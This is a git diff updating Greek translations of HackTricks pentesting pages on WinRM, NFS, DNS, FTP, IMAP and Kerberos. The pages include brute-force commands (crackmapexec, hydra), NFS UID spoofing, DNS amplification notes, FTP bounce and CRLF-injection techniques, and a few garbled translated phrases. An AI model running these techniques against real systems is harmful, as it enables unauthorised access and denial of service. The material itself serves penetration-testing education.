$sess1 `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` -Η δοκιμή στον πελάτη (πληροφορίες από [εδώ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): +Η προσπάθεια στον πελάτη (πληροφορίες από [εδώ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' @@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ### Brute Force -Προσοχή, η βίαιη προσπάθεια σύνδεσης στο winrm μπορεί να αποκλείσει χρήστες. +Προσοχή, η βίαιη επίθεση σε winrm μπορεί να αποκλείσει χρήστες. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt @@ -142,7 +142,7 @@ crackmapexec winrm -d -u -H -X '$PSVersionT ```ruby gem install evil-winrm ``` -Διαβάστε **τεκμηρίωση** στο github του: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) +Διαβάστε **τεκμηρίωση** στο github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` @@ -254,13 +254,11 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) -https://book.hacktricks.xyz/pentesting/pentesting-winrm +https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html Entry_2: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` -​ - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index b658d9116..b8baa7695 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -4,11 +4,11 @@ ## **Βασικές Πληροφορίες** -**NFS** είναι ένα σύστημα σχεδιασμένο για **client/server** που επιτρέπει στους χρήστες να έχουν πρόσβαση σε αρχεία μέσω ενός δικτύου, σαν να βρίσκονται αυτά τα αρχεία σε τοπικό κατάλογο. +**NFS** είναι ένα σύστημα σχεδιασμένο για **client/server** που επιτρέπει στους χρήστες να έχουν πρόσβαση σε αρχεία μέσω ενός δικτύου, σαν να βρίσκονταν αυτά τα αρχεία σε τοπικό κατάλογο. -Ένα αξιοσημείωτο χαρακτηριστικό αυτού του πρωτοκόλλου είναι η έλλειψη ενσωματωμένων **μηχανισμών αυθεντικοποίησης** ή **εξουσιοδότησης**. Αντίθετα, η εξουσιοδότηση βασίζεται σε **πληροφορίες συστήματος αρχείων**, με τον διακομιστή να έχει την ευθύνη να μεταφράσει με ακρίβεια τις **παρεχόμενες από τον πελάτη πληροφορίες χρήστη** στη απαιτούμενη **μορφή εξουσιοδότησης** του συστήματος αρχείων, ακολουθώντας κυρίως τη **σύνταξη UNIX**. +Ένα αξιοσημείωτο χαρακτηριστικό αυτού του πρωτοκόλλου είναι η έλλειψη ενσωματωμένων **μηχανισμών αυθεντικοποίησης** ή **εξουσιοδότησης**. Αντίθετα, η εξουσιοδότηση βασίζεται σε **πληροφορίες συστήματος αρχείων**, με τον διακομιστή να έχει την ευθύνη να μεταφράσει με ακρίβεια τις **παρεχόμενες από τον πελάτη πληροφορίες χρήστη** στη απαιτούμενη **μορφή εξουσιοδότησης** του συστήματος αρχείων, κυρίως ακολουθώντας τη **σύνταξη UNIX**. -Η αυθεντικοποίηση συνήθως βασίζεται σε **ταυτοποιητές `UID`/`GID` και μέλη ομάδων**. Ωστόσο, προκύπτει μια πρόκληση λόγω της πιθανής ασυμφωνίας στις **χαρτογραφήσεις `UID`/`GID`** μεταξύ πελατών και διακομιστών, αφήνοντας κανένα περιθώριο για επιπλέον επαλήθευση από τον διακομιστή. Ως εκ τούτου, το πρωτόκολλο είναι καλύτερα κατάλληλο για χρήση εντός **έμπιστων δικτύων**, δεδομένης της εξάρτησής του από αυτή τη μέθοδο αυθεντικοποίησης. +Η αυθεντικοποίηση συνήθως βασίζεται σε **ταυτοχρονιστές `UID`/`GID` και μέλη ομάδων**. Ωστόσο, προκύπτει μια πρόκληση λόγω της πιθανής ασυμφωνίας στις **χαρτογραφήσεις `UID`/`GID`** μεταξύ πελατών και διακομιστών, αφήνοντας περιθώριο για επιπλέον επαλήθευση από τον διακομιστή. Ως εκ τούτου, το πρωτόκολλο είναι καλύτερα κατάλληλο για χρήση εντός **έμπιστων δικτύων**, δεδομένης της εξάρτησής του από αυτή τη μέθοδο αυθεντικοποίησης. **Προεπιλεγμένη θύρα**: 2049/TCP/UDP (εκτός από την έκδοση 4, χρειάζεται μόνο TCP ή UDP). ``` @@ -80,7 +80,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock - **Μη Συμπίεση Όλων των Χρηστών (`no_all_squash`):** Αυτή η επιλογή διασφαλίζει ότι οι ταυτότητες χρηστών διατηρούνται σε όλο το σύστημα, κάτι που θα μπορούσε να οδηγήσει σε ζητήματα δικαιωμάτων και ελέγχου πρόσβασης αν δεν διαχειριστεί σωστά. -## Κλιμάκωση Προνομίων χρησιμοποιώντας κακές ρυθμίσεις NFS +## Κλιμάκωση Προνομίων χρησιμοποιώντας παραμορφώσεις NFS [NFS no_root_squash και no_all_squash κλιμάκωση προνομίων](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) @@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/ cd /mnt nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in -https://book.hacktricks.xyz/pentesting/nfs-service-pentesting +https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index a5cd6d37f..2c4e9bbe8 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -16,11 +16,11 @@ PORT STATE SERVICE REASON ``` ### Διαφορετικοί Διακομιστές DNS -- **Διακομιστές Ρίζας DNS**: Αυτοί είναι στην κορυφή της ιεραρχίας DNS, διαχειρίζονται τα κορυφαία επίπεδα τομέων και επεμβαίνουν μόνο αν οι διακομιστές χαμηλότερου επιπέδου δεν απαντούν. Ο Οργανισμός Διαδικτυακών Ονομάτων και Αριθμών (**ICANN**) επιβλέπει τη λειτουργία τους, με παγκόσμιο αριθμό 13. +- **Διακομιστές Ρίζας DNS**: Αυτοί είναι στην κορυφή της ιεραρχίας DNS, διαχειρίζονται τα κορυφαία επίπεδα τομέων και επεμβαίνουν μόνο αν οι διακομιστές χαμηλότερου επιπέδου δεν απαντούν. Η Internet Corporation for Assigned Names and Numbers (**ICANN**) επιβλέπει τη λειτουργία τους, με παγκόσμιο αριθμό 13. - **Αυθεντικοί Διακομιστές Ονομάτων**: Αυτοί οι διακομιστές έχουν τον τελικό λόγο για ερωτήματα στις καθορισμένες ζώνες τους, προσφέροντας οριστικές απαντήσεις. Αν δεν μπορούν να παρέχουν μια απάντηση, το ερώτημα κλιμακώνεται στους διακομιστές ρίζας. - **Μη αυθεντικοί Διακομιστές Ονομάτων**: Χωρίς ιδιοκτησία πάνω σε ζώνες DNS, αυτοί οι διακομιστές συγκεντρώνουν πληροφορίες τομέα μέσω ερωτημάτων σε άλλους διακομιστές. - **Διακομιστής Caching DNS**: Αυτός ο τύπος διακομιστή απομνημονεύει τις προηγούμενες απαντήσεις ερωτημάτων για μια καθορισμένη χρονική περίοδο για να επιταχύνει τους χρόνους απόκρισης για μελλοντικά αιτήματα, με τη διάρκεια της μνήμης cache να καθορίζεται από τον αυθεντικό διακομιστή. -- **Διακομιστής Προώθησης**: Εξυπηρετώντας έναν απλό ρόλο, οι διακομιστές προώθησης απλώς μεταφέρουν τα ερωτήματα σε έναν άλλο διακομιστή. +- **Διακομιστής Προώθησης**: Εκτελώντας έναν απλό ρόλο, οι διακομιστές προώθησης απλώς μεταφέρουν τα ερωτήματα σε έναν άλλο διακομιστή. - **Resolver**: Ενσωματωμένοι σε υπολογιστές ή δρομολογητές, οι resolvers εκτελούν την τοπική επίλυση ονομάτων και δεν θεωρούνται αυθεντικοί. ## Απαρίθμηση @@ -32,7 +32,7 @@ PORT STATE SERVICE REASON ```bash dig version.bind CHAOS TXT @DNS ``` -Επιπλέον, το εργαλείο [`fpdns`](https://github.com/kirei/fpdns) μπορεί επίσης να αναγνωρίσει το αποτύπωμα του διακομιστή. +Επιπλέον, το εργαλείο [`fpdns`](https://github.com/kirei/fpdns) μπορεί επίσης να αναγνωρίσει το διακομιστή. Είναι επίσης δυνατό να αποκτήσετε την αφίσα και με ένα σενάριο **nmap**: ``` @@ -95,11 +95,11 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` > [!NOTE] -> Αν μπορείτε να βρείτε υποτομείς που επιλύονται σε εσωτερικές διευθύνσεις IP, θα πρέπει να προσπαθήσετε να εκτελέσετε μια αντίστροφη dns BF στους NSs του τομέα ζητώντας για εκείνο το εύρος IP. +> Αν μπορείτε να βρείτε υποτομείς που επιλύονται σε εσωτερικές διευθύνσεις IP, θα πρέπει να προσπαθήσετε να εκτελέσετε μια αντίστροφη BF DNS στους NSs του τομέα ζητώντας για εκείνο το εύρος IP. Ένα άλλο εργαλείο για αυτό: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) -Μπορείτε να ερωτήσετε αντίστροφες διευθύνσεις IP στο [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (αυτό το εργαλείο είναι επίσης χρήσιμο με το BGP). +Μπορείτε να κάνετε ερωτήσεις για αντίστροφα εύρη IP στο [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (αυτό το εργαλείο είναι επίσης χρήσιμο με το BGP). ### DNS - Subdomains BF ```bash @@ -126,7 +126,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal ``` ### IPv6 -Brute force χρησιμοποιώντας "AAAA" αιτήματα για να συγκεντρώσετε το IPv6 των υποτομέων. +Brute force χρησιμοποιώντας "AAAA" αιτήσεις για να συγκεντρώσετε IPv6 των υποτομέων. ```bash dnsdict6 -s -t ``` @@ -136,7 +136,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns ``` ### DNS Recursion DDoS -Αν **η αναδρομή DNS είναι ενεργοποιημένη**, ένας επιτιθέμενος θα μπορούσε να **παραποιήσει** την **προέλευση** στο πακέτο UDP προκειμένου να κάνει το **DNS να στείλει την απάντηση στον θύμα server**. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τους τύπους εγγραφών **ANY** ή **DNSSEC** καθώς χρησιμοποιούν μεγαλύτερες απαντήσεις.\ +Αν **η αναδρομή DNS είναι ενεργοποιημένη**, ένας επιτιθέμενος θα μπορούσε να **παραποιήσει** την **προέλευση** στο πακέτο UDP προκειμένου να κάνει το **DNS να στείλει την απάντηση στον θιγόμενο διακομιστή**. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τους τύπους εγγραφών **ANY** ή **DNSSEC** καθώς χρησιμοποιούν να έχουν τις μεγαλύτερες απαντήσεις.\ Ο τρόπος για να **ελέγξετε** αν ένα DNS υποστηρίζει **αναδρομή** είναι να κάνετε ερώτηση σε ένα όνομα τομέα και να **ελέγξετε** αν η **σημαία "ra"** (_διαθέσιμη αναδρομή_) είναι στην απάντηση: ```bash dig google.com A @ @@ -150,14 +150,14 @@ dig google.com A @ ![](<../images/image (146).png>) -### Mail to nonexistent account +### Μήνυμα σε ανύπαρκτο λογαριασμό -**Αποστολή email σε διεύθυνση που δεν υπάρχει** χρησιμοποιώντας το domain του θύματος θα μπορούσε να προκαλέσει το θύμα να στείλει μια ειδοποίηση μη παράδοσης (NDN) της οποίας οι **κεφαλίδες** θα μπορούσαν να περιέχουν ενδιαφέρουσες πληροφορίες όπως το **όνομα εσωτερικών διακομιστών και διευθύνσεις IP**. +**Αποστολή email σε ανύπαρκτη διεύθυνση** χρησιμοποιώντας το domain του θύματος θα μπορούσε να προκαλέσει το θύμα να στείλει μια ειδοποίηση μη παράδοσης (NDN) της οποίας οι **κεφαλίδες** θα μπορούσαν να περιέχουν ενδιαφέρουσες πληροφορίες όπως το **όνομα εσωτερικών διακομιστών και διευθύνσεις IP**. -## Post-Exploitation +## Μετά την εκμετάλλευση - Όταν ελέγχετε τη διαμόρφωση ενός διακομιστή Bind, ελέγξτε τη διαμόρφωση της παραμέτρου **`allow-transfer`** καθώς υποδεικνύει ποιος μπορεί να εκτελεί μεταφορές ζωνών και **`allow-recursion`** και **`allow-query`** καθώς υποδεικνύουν ποιος μπορεί να στέλνει αναδρομικά αιτήματα και αιτήματα σε αυτόν. -- Τα παρακάτω είναι τα ονόματα αρχείων που σχετίζονται με το DNS και θα μπορούσαν να είναι ενδιαφέρον να αναζητηθούν μέσα σε μηχανές: +- Τα παρακάτω είναι τα ονόματα αρχείων που σχετίζονται με το DNS που θα μπορούσαν να είναι ενδιαφέροντα για αναζήτηση σε μηχανές: ``` host.conf /etc/resolv.conf @@ -196,7 +196,7 @@ SERVER {IP} Domain_Name exit -https://book.hacktricks.xyz/pentesting/pentesting-dns +https://book.hacktricks.wiki/en/todo/pentesting-dns.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 34adc6a51..741fd47d0 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -26,7 +26,7 @@ Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att Οι εντολές **FTP** **`debug`** και **`trace`** μπορούν να χρησιμοποιηθούν για να δουν **πώς συμβαίνει η επικοινωνία**. -## Αριθμητική +## Αρίθμηση ### Λήψη Banner ```bash @@ -115,9 +115,9 @@ nmap --script ftp-* -p 21 ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Σημειώστε ότι αν μια **web application** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server** μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http). +Σημειώστε ότι αν μια **εφαρμογή ιστού** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server**, μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http). -## Κατεβάστε όλα τα αρχεία από FTP +## Κατεβάστε όλα τα αρχεία από τον FTP ```bash wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all @@ -131,8 +131,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`USER username`** - **`PASS password`** - **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται -- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε εξάδικο_). -- **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια TCP σύνδεση (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**. +- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε εξάγωνο_). +- **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**. - **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο - **`LIST -R`** Λίστα αναδρομικά (αν επιτρέπεται από τον διακομιστή) - **`APPE /path/something.txt`** Αυτό θα υποδείξει στον FTP να αποθηκεύσει τα δεδομένα που λαμβάνονται από μια **παθητική** σύνδεση ή από μια **PORT/EPRT** σύνδεση σε ένα αρχείο. Αν το όνομα αρχείου υπάρχει, θα προσθέσει τα δεδομένα. @@ -140,9 +140,9 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`STOU /path/something.txt`** Όπως το `APPE`, αλλά αν υπάρχει δεν θα κάνει τίποτα. - **`RETR /path/to/file`** Πρέπει να έχει δημιουργηθεί μια παθητική ή μια σύνδεση port. Στη συνέχεια, ο διακομιστής FTP θα στείλει το υποδεικνυόμενο αρχείο μέσω αυτής της σύνδεσης - **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει στο 6ο byte. -- **`TYPE i`** Ρύθμιση μεταφοράς σε δυαδικό +- **`TYPE i`** Ρυθμίστε τη μεταφορά σε δυαδική - **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί -- **`PUT /tmp/file.txt`** Μεταφόρτωση του υποδεικνυόμενου αρχείου στον FTP +- **`PUT /tmp/file.txt`** Ανεβάστε το υποδεικνυόμενο αρχείο στον FTP ![](<../../images/image (386).png>) @@ -152,11 +152,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ [**Μάθετε εδώ πώς να καταχραστείτε έναν διακομιστή FTP για να σαρώσετε θύρες.**](ftp-bounce-attack.md) -Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **μεταφορτώσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή;_) ή ακόμη και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\ +Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **ανεβάσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή;_) ή ακόμα και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\ Η θεωρία είναι απλή: -1. **Μεταφορτώστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a` -2. **Χρησιμοποιήστε `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο έπρεπε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή) +1. **Ανεβάστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a` +2. **Χρησιμοποιήστε `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο που χρειαστήκατε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή) 3. **Χρησιμοποιήστε `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία** 4. **Χρησιμοποιήστε `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.** @@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59' wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98' if PASV transfer is disabled -https://book.hacktricks.xyz/pentesting/pentesting-ftp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index 34f5da293..8d632d9ff 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -4,7 +4,7 @@ ## Πρωτόκολλο Πρόσβασης Μηνυμάτων Διαδικτύου -Το **Πρωτόκολλο Πρόσβασης Μηνυμάτων Διαδικτύου (IMAP)** έχει σχεδιαστεί με σκοπό να επιτρέπει στους χρήστες να **προσεγγίζουν τα μηνύματα ηλεκτρονικού ταχυδρομείου τους από οποιαδήποτε τοποθεσία**, κυρίως μέσω μιας σύνδεσης στο Διαδίκτυο. Στην ουσία, τα emails **διατηρούνται σε έναν διακομιστή** αντί να κατεβαίνουν και να αποθηκεύονται στη συσκευή ενός ατόμου. Αυτό σημαίνει ότι όταν ένα email προσπελάζεται ή διαβάζεται, γίνεται **άμεσα από τον διακομιστή**. Αυτή η δυνατότητα επιτρέπει την ευκολία ελέγχου των emails από **πολλές συσκευές**, διασφαλίζοντας ότι κανένα μήνυμα δεν χάνεται ανεξαρτήτως της συσκευής που χρησιμοποιείται. +Το **Πρωτόκολλο Πρόσβασης Μηνυμάτων Διαδικτύου (IMAP)** έχει σχεδιαστεί με σκοπό να επιτρέπει στους χρήστες να **προσεγγίζουν τα μηνύματα ηλεκτρονικού ταχυδρομείου τους από οποιαδήποτε τοποθεσία**, κυρίως μέσω σύνδεσης στο Διαδίκτυο. Στην ουσία, τα emails **διατηρούνται σε έναν διακομιστή** αντί να κατεβαίνουν και να αποθηκεύονται στη συσκευή ενός ατόμου. Αυτό σημαίνει ότι όταν ένα email προσπελάζεται ή διαβάζεται, γίνεται **άμεσα από τον διακομιστή**. Αυτή η δυνατότητα επιτρέπει την ευκολία ελέγχου των emails από **πολλές συσκευές**, διασφαλίζοντας ότι κανένα μήνυμα δεν χάνεται ανεξαρτήτως της συσκευής που χρησιμοποιείται. Από προεπιλογή, το πρωτόκολλο IMAP λειτουργεί σε δύο θύρες: @@ -14,7 +14,7 @@ PORT STATE SERVICE REASON 143/tcp open imap syn-ack ``` -## Λήψη διαφημίσεων +## Banner grabbing ```bash nc -nv 143 openssl s_client -connect :993 -quiet @@ -93,7 +93,7 @@ apt install evolution Η βασική πλοήγηση είναι δυνατή με το [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), αλλά η τεκμηρίωση είναι ελλιπής σε λεπτομέρειες, οπότε συνιστάται να ελέγξετε την [πηγή](https://github.com/curl/curl/blob/master/lib/imap.c) για ακριβείς λεπτομέρειες. -1. Καταγραφή των γραμματοκιβωτίων (imap command `LIST "" "*"`) +1. Λίστα φακέλων (imap εντολή `LIST "" "*"`) ```bash curl -k 'imaps://1.2.3.4/' --user user:pass ``` @@ -120,7 +120,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass ``` -Επίσης, είναι δυνατή η λήψη μόνο τμημάτων ενός μηνύματος, π.χ. θέμα και αποστολέας των πρώτων 5 μηνυμάτων (το `-v` είναι απαραίτητο για να δείτε το θέμα και τον αποστολέα): +Επίσης, είναι δυνατή η λήψη μόνο τμημάτων ενός μηνύματος, π.χ. το θέμα και ο αποστολέας των πρώτων 5 μηνυμάτων (το `-v` είναι απαραίτητο για να δείτε το θέμα και τον αποστολέα): ```bash $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' ``` @@ -148,7 +148,7 @@ Description: Notes for WHOIS Note: | The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used. -https://book.hacktricks.xyz/pentesting/pentesting-imap +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 2c1eca035..7bf997f8e 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -6,9 +6,9 @@ **Kerberos** λειτουργεί με μια αρχή όπου αυθεντικοποιεί τους χρήστες χωρίς να διαχειρίζεται άμεσα την πρόσβασή τους σε πόρους. Αυτή είναι μια σημαντική διάκριση γιατί υπογραμμίζει τον ρόλο του πρωτοκόλλου σε πλαίσια ασφάλειας. -Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, ο οποίος είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας. +Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, που είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας. -Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση στους πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα. +Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση σε πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το 